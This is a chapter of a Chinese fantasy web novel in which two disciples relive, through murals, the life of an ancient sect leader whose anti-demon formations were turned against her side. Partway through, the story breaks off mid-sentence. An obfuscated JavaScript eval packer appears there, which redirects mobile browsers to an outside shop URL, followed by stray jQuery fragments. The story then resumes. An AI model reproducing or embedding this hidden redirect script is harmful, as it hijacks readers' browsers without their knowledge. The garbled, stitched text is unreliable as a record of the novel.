49. 幻境(二)

作品:《师姐入魔了怎么办

    一顿饭的时间,爹娘对她嘘寒问暖。


    有好几次她明明止住了哭泣,因为他们的一句话又忍不住掉了眼泪。


    眼泪混合着饭菜一起吞入口中。


    在他们的再三询问下,雪玉京编出一个理由。


    “我就是在山上不小心睡着,做了个噩梦……”


    果然得来爹娘的一阵笑话,她也跟着笑。


    “明日就别去了,在家好好休息。”


    雪玉京抬首,娘一脸慈爱地看着她,眼中带有心疼。


    她柔了神情:“好的。”


    上次,爹娘为了等她到子夜还未歇息,这次早早睡下,魔物还未到来。


    雪玉京确认爹娘都睡熟了,悄悄下床,轻手轻脚出了门。


    远处,一大片黑色魔气遮盖了月色,黑暗悄无声息地降临,所有人都在睡梦中。


    偶尔有几个醒着的人,看到这样的景象也不甚在意,惊叹一声便去做自己的事了。


    灾难是在无声无息中降临的。


    雪玉京独自一人朝深黑色中走去,半个时辰后,她再次出现在村口,黑色的浓雾消失不见,取而代之的是衣裙上黑色的血,几乎染黑了整个裙子。


    随着她的走动,身上散发出金光,金光散去,黑色污渍消失,一切恢复如初。


    回到家里,时间还早。


    雪玉京在爹娘卧房前面静坐许久。


    不知过了多久,她起身,推门而入,俯身,在他们面上留个了吻。


    随后身形渐渐消散。


    眼前景象瞬息万变,待彻底睁开眼,已经回到了台阶上。


    雪玉京抹了把眼泪,继续上前。


    这次,没有任何东西能拦住她了。


    奇迹般地,因为极强的信念,她拿了第三名。


    画面就到这里,陈舒朝睁开眼,回到了壁画前。


    这幅画的样子没变,依旧是一个小人在爬台阶。


    四周依旧漆黑,只是这黑暗中,似乎多了一个人影。


    “……师姐?”


    那人的声线有些抑制不住的颤抖。


    陈舒朝循声摸过去,走到近前,看清了江砚辞的脸。


    眼尾下垂,嘴唇紧抿,看起来要哭了似的。


    陈舒朝签上他的手,才发现他的手在轻轻颤抖。


    她温声问道:“怎么了?”


    这么委屈,被人欺负了么?


    江砚辞要紧紧咬着唇才能抑制住不让自己哭出来,他深吸了两口气,声音仍然有些颤抖。


    “师姐……你去哪儿了?”


    这句话真是委屈至极,带着浓浓的后怕。


    陈舒朝柔了神情:“我没事,我一直在这里,只不过我们进来的时间不同而已。”


    她将自己在壁画中的发现告诉了江砚辞。


    之后总结道:“所以这里的壁画刻画的应当是雪玉京的生平。”


    什么样的人才能被刻在壁画上呢?


    从上一个幻境所看到的佛门可知,这里的故事发生在很早很早以前。


    早在两千年前,他们就不用那种方式选拔弟子了,知道有这种选拔方式还是她之前无聊在藏书阁胡乱翻书时偶然看到的。


    这么久远的故事……


    陈舒朝松开拉着江砚辞的手,松开前还安抚地拍了拍。


    两人停在第二幅壁画前。


    这幅壁画中没了灰衣小人,有的是端坐上位的白衣小人,下面追随者众。


    看完这幅壁画的内容,果不其然,又是一阵眩晕感传来。


    还好她早有心理准备,不至于像第一次那般茫然。


    这次她没成为任何人,只是漂浮在一旁,以第三视角看下面发生的一切。


    转过头,江砚辞也在,只是就连他们也不能触碰彼此,也不能动,只能被强迫的用这个姿势去看。


    面前的时间流淌得很快,和第一次进入这里的时间是相连的,因此也不会出现看不懂的情况,就像看戏剧一样。


    雪玉京进入佛门后勤加修炼,她的天赋很快被发掘,拜入掌门座下。


    她谦逊有礼,拜入掌门座下后非但没有骄傲,反而更加勤勉,从不因为自己的身份而骄傲。


    有天分肯努力,再加上对待其他弟子也温和,经常为他们解惑,她在门内很受欢迎。


    很快成了名副其实的“大师姐”,也是除了掌门和各位长老外最具话语权的人。


    也曾有人嫉妒她,但她以德报怨,不仅没有因此针对对方,反而在对方有难时积极救助,如此,就连这一小部分人也折服了。


    门中上下没人不喜欢她,就算有,也顶多是无感。


    之后,掌门年限将至,退位,雪玉京越过诸位长老当上了掌门,未有一人有任何质疑。


    佛门迎来了空前盛况。


    那日的雪玉京一身白衣,坐于高堂,底下无数人为她欢呼。


    最终的画面与壁画上的画面重合,他们出了壁画。


    江砚辞握了握手,将目光投向师姐。


    陈舒朝:“我上一次的确是以雪玉京的视角进入幻境的,这次不知为何……还未找到规律。”


    “我不是说这个。”


    江砚辞表情极其困惑:“之前听师姐说时不觉得,方才亲眼看到,总觉得那人有些熟悉。”


    熟悉?


    两千年前的人了,江砚辞绝不可能见过,那就只有……


    两人异口同声:“那本书?”


    “对,没错。”


    江砚辞道:“那本书给我的感觉,和雪玉京很像。”


    陈舒朝看向下一幅壁画:“走吧,继续看下去,会知道的。”


    反正如今没灵力,也不知道这到底是什么地方,根本出不去,不如顺着走,看看这幕后之人到底要干什么。


    看到第三幅壁画,陈舒朝瞬间明了。


    果然如此。


    壁画上还是那个人,坐在昏暗的房间,点着煤油灯,在写一本书,旁边是成堆的废纸。


    等了片刻,陈舒朝睁开眼。


    映入眼帘的是一间客栈。


    她又变成了雪玉京。


    同时也有了她的记忆。


    继承了掌门的位置后,她比之前更加忙碌。


    之前还能偶尔睡一觉,休息一会儿,现在则是真真正正的连轴转。


    不过她乐在其中。


    最近魔物横行,她研究了一些专门对付魔物的阵法,只是还不够完善,于是不管到哪她都带着自己的小本子——


    她还是习惯有什么东西都记载纸上。


    这次是与佛门临近的边界出现了大规模的魔物入侵,为了保护百姓,也是为了测试自己的阵法,她亲自来到了边界。


    一有时间,她就窝在自己的房间里修改阵法,用费了一张又一张纸,阵法也一遍比一遍完善。


    在与魔物的对战中,她发现了一个问题。


    尽管阵法威力巨大,却


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086918|188625||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有着一个致命的缺点——


    即,两面性。


    在修道者手中,它是对付魔物的利器。


    若是在魔道手中呢?


    她的担心不无道理。


    魔物入侵的面积越来越大,她的阵法被广泛使用,有些聪明的魔物便将阵法学了去,反制他们。


    因为她的阵法,修道者迎来了前所未有的伤亡。


    虽然没人怪她,她却觉得责任在她。


    又挤出更多的时间将阵法改良,剔除了魔族学会的可能。


    ——只要是沾染魔气之人,都不可使用这些阵法。


    一时间,修道者这边士气大涨,在雪玉京的带领下一鼓作气,杀死了魔尊,将魔物逼退到魔界之中。


    修道者凯旋归去。


    这是一个很美满的故事。


    ——如果仅仅是停在这里的话。


    可惜后面还有。


    陈舒朝出来后并没有急着往下一幅壁画而去。


    她先是问了江砚辞:“你进入壁画后是什么身份?”


    江砚辞停顿了一下,仿佛在回忆,又或许是觉得这个答案有些惊世骇俗:“是魔尊。”


    陈舒朝挑眉,说实话,这个结果她并不意外。


    之前的她,或许会以为江砚辞是个古板的好人,对魔物厌恶透顶,对修道者有极强的包容心。


    可相处下来,她发现,这哪是什么古板好人,在某些方面,他比魔道还魔道。


    比如坚定跟随她这个入魔之人。


    她做的事可说不上是好事,这小子不仅一句话不说,还硬跟着她做,看起来也没有羞愧之心,挺心甘情愿的。


    “那在魔尊的视角,这个故事是什么样的?”


    这个问题出口的时候,她自己都吓了一跳。


    没想到有一天,她还会好奇在魔族的视角,这个故事,或者说这个世界是什么样的。


    江砚辞似乎在消化从壁画中看到的事情,他整理了下语言,道:“在魔尊的视角,这是一个完全相反的故事。”


    “在这个魔尊之前,是没有其他魔尊的,他是初代魔尊。”


    他曾经也是天之骄子,在他那个时代,魔族只是一群分散的、毫无组织的种族。


    他们聚集的地方称为魔界。


    魔界物资匮乏,魔族智力低下,他们本能地想要进入修真界,本能地渴望着修真界丰富的物资。


    为了生存,他们成批进入修真界,给修士们带来了极大的苦恼。


    起初可以说是小打小闹,后来,魔族对修真界的渴望越来越强,这种渴望甚至激发了隐藏在他们血脉里的嗜杀。


    他们进入修真界,屠杀修真界毫无修为的百姓,并因此进化,出现了越来越强大的魔族。


    魔族有了等级之分,也渐渐发展出了秩序。


    高等级的魔族自觉建立了城池,划分了势力范围。


    整个魔界,由原来毫无秩序的分散,发展为几个大的城池。


    这样的分布,与妖族有些类似。


    但始终没有一个魔能将整个魔界统一。


    后来,他们又发现被魔气入侵的人修会堕魔成为魔修,依靠魔气进行修炼。


    于是,他们开始扩张势力。


    刚开始的修士不明白问题的严重性,被入魔的同门伤害,随之也堕入魔道。


    此后,修道者对魔气越来越忌惮,只要沾染了魔气,便会被毫不留情地杀掉,以防更多人遇害。